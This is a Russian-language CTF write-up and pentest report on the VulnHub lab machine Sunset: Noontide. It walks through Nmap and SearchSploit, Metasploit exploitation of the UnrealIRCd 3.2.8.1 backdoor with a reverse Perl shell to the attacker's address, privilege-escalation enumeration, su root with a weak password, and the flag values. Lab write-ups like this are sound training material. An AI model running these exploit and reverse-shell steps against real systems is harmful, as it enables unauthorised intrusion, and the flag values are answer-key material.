
Описание Профессиональная оценка пентеста машины Sunset: Noontide с VulnHub, охватывающая разведку, перечисление служб, эксплуатацию CVE-2010-2075, постэксплуатацию, повышение привилегий и полный захват системы.
Профессиональная оценка тестирования на проникновение и прохождение CTF машины Sunset: Noontide — намеренно уязвимой машины от VulnHub.
Этот проект документирует полный жизненный цикл тестирования на проникновение, включая разведку, перечисление сервисов, исследование уязвимостей, эксплуатацию, первоначальный доступ, постэксплуатацию, повышение привилегий, подтверждение компрометации, оценку рисков, сопоставление с MITRE ATT&CK и рекомендации по устранению.
⚠️ Отказ от ответственности: Данная оценка проводилась против намеренно уязвимой машины в авторизованной лабораторной среде. Описанные здесь методы и команды предназначены только для систем, на которые получено явное разрешение.
| Компонент | Детали |
|---|---|
| Цель | Sunset: Noontide |
| Платформа | VulnHub |
| IP цели | 10.106.186.186 |
| Имя хоста цели | noontide |
| ОС цели | Debian GNU/Linux 10 (Buster) |
| Архитектура | x86_64 |
| Платформа атакующего | Kali Linux |
| IP атакующего | 10.106.186.204 |
| Тип оценки | Авторизованная лабораторная оценка |
| Общий риск | КРИТИЧЕСКИЙ |
| Результат оценки | Полная компрометация системы |
Обнаружение цели → Перечисление Nmap → Идентификация UnrealIRCd 3.2.8.1 → SearchSploit → Идентификация CVE-2010-2075 → Эксплуатация через Metasploit → Удалённая командная оболочка → Оболочка от имени server → Постэксплуатация Linux → Слабые учётные данные root → su root → UID 0 / Доступ root → Файлы подтверждения пользователя и root
Первоначальное обнаружение сети было выполнено для идентификации уязвимой цели.
В конечном итоге цель была идентифицирована как:
10.106.186.186
В ходе разведки 10.106.186.142 был идентифицирован как шлюз по умолчанию, а не как предполагаемая цель.
Это подчёркивает важность правильной идентификации цели перед проведением дальнейшего тестирования безопасности, особенно в мостовой или общей лабораторной сети.
Обнаружение сервисов и версий с помощью Nmap было выполнено против цели с использованием:
nmap -sV 10.106.186.186
Значимым открытым сервисом, обнаруженным в ходе оценки, был:
6667/tcp open irc UnrealIRCd
Затем было выполнено более детальное сканирование с использованием:
nmap -sC -sV -Pn -p 6667 10.106.186.186
Сервис был идентифицирован как:
UnrealIRCd 3.2.8.1
IRC-сервис также сообщил:
irc.foonet.com
Открытый сервис UnrealIRCd стал основной поверхностью атаки, исследованной в ходе оценки.
SearchSploit был использован для исследования публично задокументированных уязвимостей, связанных с обнаруженной версией UnrealIRCd.
Команда:
searchsploit UnrealIRCd 3.2.8.1
Соответствующий результат:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
Уязвимость была идентифицирована как:
CVE-2010-2075
Выполнение команд через бэкдор в UnrealIRCd 3.2.8.1
Критическая
Удалённое выполнение команд
Успешная эксплуатация уязвимого сервиса позволяет атакующему удалённо выполнять команды в целевой системе.
Уязвимый IRC-сервис был проэксплуатирован с использованием Metasploit Framework.
Выбранный модуль:
exploit/unix/irc/unreal_ircd_3281_backdoor
Пример конфигурации:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Первоначальные попытки с полезной нагрузкой не дали рабочей сессии.
Впоследствии была выбрана совместимая обратная полезная нагрузка Unix reverse-Perl:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit сообщил, что цель выглядит уязвимой, и успешно открыл сессию командной оболочки.
Полученная оболочка была проверена с помощью:
whoami
Результат:
server
Это подтвердило успешное удалённое выполнение команд от имени учётной записи server.
Начальный рабочий каталог:
/home/server/irc/Unreal3.2
На этом этапе оценка перешла от удалённой эксплуатации сервиса к локальному постэксплуатационному перечислению.
После получения оболочки было выполнено стандартное перечисление Linux для понимания скомпрометированного хоста и выявления потенциальных путей повышения привилегий.
Команда:
id
Результат:
uid=1000(server) gid=1000(server)
Учётная запись была непривилегированным пользователем.
Команда:
hostname
Результат:
noontide
Команда:
uname -a
Результат:
Linux noontide 4.19.0-10-amd64 x86_64
Команда:
cat /etc/os-release
Результат:
Debian GNU/Linux 10 (buster)
Эти команды установили текущую личность, имя хоста, версию ядра, операционную систему и общую конфигурацию системы.
Было выполнено несколько стандартных проверок повышения привилегий в Linux.
Команда:
find / -perm -4000 -type f 2>/dev/null
Были идентифицированы стандартные SUID-бинарники, такие как passwd, chsh, mount, umount, su, chfn, newgrp и gpasswd.
Очевидный пользовательский или аномальный SUID-бинарник, который стал бы успешным вектором повышения привилегий, идентифицирован не был.
Команда:
sudo -l
Из доступного вывода не был идентифицирован полезный путь повышения привилегий через sudo.
Команды:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Наблюдаемые запланированные задания были стандартными системными заданиями в стиле Debian.
Очевидное записываемое cron-задание root идентифицировано не было.
Команда:
find / -writable -type f 2>/dev/null | head -100
Первоначальные результаты в основном представляли собой псевдофайлы /proc и не выявили практического вектора повышения привилегий.
Команда:
getcap -r / 2>/dev/null
Из полученного вывода полезное повышение привилегий на основе возможностей идентифицировано не было.
Успешный путь повышения привилегий был основан на намеренно слабых учётных данных root, настроенных на уязвимой машине.
Доступ к учётной записи root был получен с помощью:
su root
Пароль:
root
Доступ root был затем проверен с помощью:
id
Результат:
uid=0(root) gid=0(root) groups=0(root)
Личность также была подтверждена с помощью:
whoami
Результат:
root
Это подтвердило полный административный контроль над целевой системой.
Файл подтверждения уровня пользователя находился по пути:
/home/server/local.txt
Команда:
cat /home/server/local.txt
Результат:
c53c08b5bf2b0801c5d0c24149826a6e
Файл подтверждения уровня root находился по пути:
/root/proof.txt
Команда:
cat /root/proof.txt
Результат:
ab28c8ca8da1b9ffc2d702ac54221105
Файл подтверждения root также содержал:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)